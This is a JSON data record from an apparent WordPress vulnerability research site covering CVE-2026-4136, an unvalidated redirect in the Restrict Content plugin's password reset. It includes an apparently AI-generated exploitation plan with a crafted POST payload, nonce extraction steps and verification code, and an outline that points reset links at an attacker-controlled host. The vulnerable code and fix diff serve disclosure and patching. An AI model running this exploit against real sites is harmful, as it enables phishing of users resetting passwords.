[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f3uOU5lTwI42ghUMb25qI9-j0VOuwlknR2SgzM3eO3GQ":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-4136","membership-plugin-restrict-content-unvalidated-redirect-in-password-reset-flow-via-rcpredirect","Membership Plugin – Restrict Content \u003C= 3.2.24 - Unvalidated Redirect in Password Reset Flow via rcp_redirect","The Membership Plugin – Restrict Content plugin for WordPress is vulnerable to Unvalidated Redirect in all versions up to, and including, 3.2.24. This is due to insufficient validation on the redirect url supplied via the 'rcp_redirect' parameter. This makes it possible for unauthenticated attackers to redirect users with the password reset email to potentially malicious sites if they can successfully trick them into performing an action.","restrict-content",null,"\u003C=3.2.24","3.2.25","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Weak Password Recovery Mechanism for Forgotten Password","2026-03-19 14:37:52","2026-03-20 03:37:02",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fe4cf42d3-9864-440b-8357-36c82cbef28f?source=api-prod",1,[22,23,24,25,26,27,28,29],"composer.json","core\u002Fincludes\u002Fclass-restrict-content.php","core\u002Fincludes\u002Flogin-functions.php","core\u002Fincludes\u002Fmember-functions.php","lang\u002Frestrict-content.pot","legacy\u002Frestrictcontent.php","package.json","readme.txt","researched",false,3,"# Exploitation Research Plan: CVE-2026-4136 - Unvalidated Redirect in Restrict Content\n\n## 1. Vulnerability Summary\nThe **Membership Plugin – Restrict Content** plugin (up to version 3.2.24) contains an unvalidated redirect vulnerability within its password recovery mechanism. The vulnerability exists because the function `rcp_process_lostpassword_form` uses `wp_redirect()` on user-supplied input from the `rcp_redirect` parameter without verifying if the destination is local. Unlike `wp_safe_redirect()`, `wp_redirect()` allows arbitrary external URLs.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: Any frontend page, as the vulnerable function is hooked to `init`. Typically, the attack targets the page containing the \"Lost Password\" form.\n- **HTTP Method**: `POST`\n- **Action Trigger**: `rcp_action=lostpassword`\n- **Vulnerable Parameter**: `rcp_redirect`\n- **Authentication**: Unauthenticated (anyone can initiate a password reset for a known user).\n- **Preconditions**: \n    - A valid WordPress username or email must be known to trigger the success path.\n    - A valid WordPress nonce for the action `rcp-lostpassword-nonce` must be obtained.\n\n## 3. Code Flow\n1. **Entry Point**: `core\u002Fincludes\u002Flogin-functions.php` registers `rcp_process_lostpassword_form()` on the `init` hook.\n2. **Check**: The function checks if `$_POST['rcp_action']` is `lostpassword` and verifies the nonce `rcp-lostpassword-nonce`.\n3. **Logic**: It calls `rcp_retrieve_password()`. If the user exists and the reset email is \"sent\" successfully (return value is not a `WP_Error`), the flow continues.\n4. **Vulnerable Sink**: \n   ```php\n   \u002F\u002F core\u002Fincludes\u002Flogin-functions.php:200\n   if ( ! is_wp_error( $errors ) ) {\n       $redirect_to = esc_url($_POST['rcp_redirect']) . '?rcp_action=lostpassword_checkemail';\n       wp_redirect( $redirect_to ); \u002F\u002F \u003C--- Vulnerable Sink\n       exit();\n   }\n   ```\n   The `esc_url()` function sanitizes the URL but does not prevent cross-domain redirection. `wp_redirect()` executes the redirect to the malicious site.\n\n## 4. Nonce Acquisition Strategy\nThe nonce is required for the `rcp_process_lostpassword_form` function to proceed.\n1. **Locate Form**: The \"Lost Password\" form is typically rendered via a shortcode. Based on RCP documentation and `core\u002Fincludes\u002Fadmin\u002Fadmin-actions.php`, the plugin manages several frontend pages.\n2. **Shortcode Identification**: The shortcode for the lost password form in Restrict Content is usually `[rcp_lost_password]`.\n3. **Setup**:\n   - Use `wp post create` to create a page with the content `[rcp_lost_password]`.\n4. **Acquisition**:\n   - Navigate to the newly created page using the browser.\n   - Use `browser_eval` to extract the nonce from the hidden input field in the form.\n   - **Form Field**: `\u003Cinput type=\"hidden\" name=\"rcp_lostpassword_nonce\" value=\"...\">`\n   - **Command**: `browser_eval('document.querySelector(\\'input[name=\"rcp_lostpassword_nonce\"]\\').value')`\n\n## 5. Exploitation Strategy\n1. **Information Gathering**: Identify a valid user (e.g., the default admin or a created test user).\n2. **Nonce Extraction**: Extract `rcp_lostpassword_nonce` from the form page.\n3. **Craft Payload**:\n   - URL: `http:\u002F\u002Flocalhost:8080\u002F` (or the specific page with the form)\n   - Method: `POST`\n   - Headers: `Content-Type: application\u002Fx-www-form-urlencoded`\n   - Body:\n     ```\n     rcp_action=lostpassword&rcp_user_login=admin&rcp_lostpassword_nonce=[NONCE]&rcp_redirect=https:\u002F\u002Fgoogle.com\n     ```\n4. **Execution**: Submit the request using the `http_request` tool.\n5. **Observation**: Check the response headers for a `302 Found` status and a `Location` header starting with `https:\u002F\u002Fgoogle.com`.\n\n## 6. Test Data Setup\n1. **Create User**: Ensure a user exists to receive the reset request.\n   - `wp user create victim victim@example.com --role=subscriber`\n2. **Create Page**: Place the RCP shortcode on a public page.\n   - `wp post create --post_type=page --post_title=\"Forgot Password\" --post_status=publish --post_content='[rcp_lost_password]'`\n3. **Identify URL**: Note the permalink of the created page.\n\n## 7. Expected Results\n- The server should return an HTTP 302 redirect.\n- The `Location` header should be: `https:\u002F\u002Fgoogle.com?rcp_action=lostpassword_checkemail`.\n- This confirms that the `rcp_redirect` parameter was used in `wp_redirect()` without domain validation.\n\n## 8. Verification Steps\n1. **Automated Check**: Use `http_request` to send the payload and inspect the `headers` property of the response.\n2. **Manual Check**:\n   ```javascript\n   const response = await http_request({\n     url: 'http:\u002F\u002Flocalhost:8080\u002Fforgot-password\u002F',\n     method: 'POST',\n     body: 'rcp_action=lostpassword&rcp_user_login=victim&rcp_lostpassword_nonce=' + nonce + '&rcp_redirect=https:\u002F\u002Fgoogle.com'\n   });\n   console.log(response.status); \u002F\u002F Should be 302\n   console.log(response.headers.location); \u002F\u002F Should contain google.com\n   ```\n\n## 9. Alternative Approaches\n- **Registration Flow**: Check if `rcp_process_registration()` (likely in `core\u002Fincludes\u002Fregistration-functions.php`, though not provided) uses a similar unvalidated `rcp_redirect` after successful registration.\n- **Login Flow Bypass**: Although `rcp_process_login_form` uses `wp_safe_redirect`, check if any filters like `rcp_login_redirect_url` are misconfigured or if `esc_url_raw` is used in a way that `wp_safe_redirect` might be bypassed (unlikely, but worth checking).\n- **Shortcode Variants**: If `[rcp_lost_password]` is not the correct shortcode, grep the plugin directory for `add_shortcode` to find the correct one. Specifically: `grep -r \"add_shortcode\" .` inside the plugin folder.","The Restrict Content plugin for WordPress is vulnerable to an unvalidated redirect due to the use of wp_redirect() instead of wp_safe_redirect() in its password recovery flow. An unauthenticated attacker can exploit this by supplying a malicious external URL in the 'rcp_redirect' parameter, which is then used to redirect the victim after submitting a password reset request or embedded into the password reset email itself.","\u002F\u002F core\u002Fincludes\u002Flogin-functions.php line 192\nfunction rcp_process_lostpassword_form() {\n\n\tif( ! isset( $_POST['rcp_action'] ) || 'lostpassword' != $_POST['rcp_action'] ) {\n\t\treturn;\n\t}\n\n\tif( ! isset( $_POST['rcp_lostpassword_nonce'] ) || ! wp_verify_nonce( $_POST['rcp_lostpassword_nonce'], 'rcp-lostpassword-nonce' ) ) {\n\t\treturn;\n\t}\n\n\t$errors = rcp_retrieve_password();\n\n\tif ( ! is_wp_error( $errors ) ) {\n\t\t$redirect_to = esc_url($_POST['rcp_redirect']) . '?rcp_action=lostpassword_checkemail';\n\t\twp_redirect( $redirect_to );\n\t\texit();\n\t}\n}\n\n---\n\n\u002F\u002F core\u002Fincludes\u002Flogin-functions.php line 270 (within rcp_retrieve_password logic)\n\t$message .= __('To reset your password, visit the following address:', 'rcp') . \"\\r\\n\\r\\n\";\n\t$message .= esc_url_raw( add_query_arg( array( 'rcp_action' => 'lostpassword_reset', 'key' => $key, 'login' => rawurlencode( $user_login ) ), $_POST['rcp_redirect'] ) ) . \"\\r\\n\";","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Frestrict-content\u002F3.2.24\u002Fcore\u002Fincludes\u002Flogin-functions.php\t2025-12-15 16:48:48.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Frestrict-content\u002F3.2.25\u002Fcore\u002Fincludes\u002Flogin-functions.php\t2026-03-18 22:49:00.000000000 +0000\n@@ -199,8 +201,8 @@\n \t$errors = rcp_retrieve_password();\n \n \tif ( ! is_wp_error( $errors ) ) {\n-\t\t$redirect_to = esc_url($_POST['rcp_redirect']) . '?rcp_action=lostpassword_checkemail';\n-\t\twp_redirect( $redirect_to );\n+\t\t$redirect_to = wp_validate_redirect( isset( $_POST['rcp_redirect'] ) ? sanitize_url( wp_unslash( $_POST['rcp_redirect'] ) ) : '', home_url() ); \u002F\u002F phpcs:ignore WordPress.WP.DeprecatedFunctions.sanitize_urlFound, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized\n+\t\twp_safe_redirect( add_query_arg( 'rcp_action', 'lostpassword_checkemail', $redirect_to ) );\n \t\texit();\n \t}\n }\n@@ -267,7 +271,17 @@\n \t$message .= sprintf(__('Username: %s', 'rcp'), $user_login) . \"\\r\\n\\r\\n\";\n \t$message .= __('If this was a mistake, just ignore this email and nothing will happen.', 'rcp') . \"\\r\\n\\r\\n\";\n \t$message .= __('To reset your password, visit the following address:', 'rcp') . \"\\r\\n\\r\\n\";\n-\t$message .= esc_url_raw( add_query_arg( array( 'rcp_action' => 'lostpassword_reset', 'key' => $key, 'login' => rawurlencode( $user_login ) ), $_POST['rcp_redirect'] ) ) . \"\\r\\n\";\n+\t$redirect_base = wp_validate_redirect( isset( $_POST['rcp_redirect'] ) ? sanitize_url( wp_unslash( $_POST['rcp_redirect'] ) ) : '', home_url() ); \u002F\u002F phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.WP.DeprecatedFunctions.sanitize_urlFound, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized\n+\t$message .= esc_url_raw(\n+\t\tadd_query_arg(\n+\t\t\tarray(\n+\t\t\t\t'rcp_action' => 'lostpassword_reset',\n+\t\t\t\t'key'        => $key,\n+\t\t\t\t'login'      => rawurlencode( $user_login ),\n+\t\t\t),\n+\t\t\t$redirect_base\n+\t\t)\n+\t) . \"\\r\\n\";","1. Locate the password reset page containing the Restrict Content lost password form (typically via the [rcp_lost_password] shortcode).\n2. Extract the required nonce from the hidden input field named 'rcp_lostpassword_nonce'.\n3. Identify a valid username or email address registered on the target WordPress site.\n4. Craft a POST request to the application root or the form's action URL with the following parameters: 'rcp_action=lostpassword', 'rcp_user_login' (the victim's username), 'rcp_lostpassword_nonce' (the extracted nonce), and 'rcp_redirect' set to a malicious external URL (e.g., https:\u002F\u002Fattacker-controlled.com).\n5. Upon submission, the server will issue an HTTP 302 redirect to the malicious URL. Additionally, the password reset email sent to the victim will contain a reset link using the attacker-supplied URL as its base, leading the victim to a phishing or malware site when they attempt to reset their password.","gemini-3-flash-preview","2026-04-18 02:17:35","2026-04-18 02:18:00",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","3.2.24","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Frestrict-content\u002Ftags\u002F3.2.24","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Frestrict-content.3.2.24.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Frestrict-content\u002Ftags\u002F3.2.25","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Frestrict-content.3.2.25.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Frestrict-content\u002Ftags"]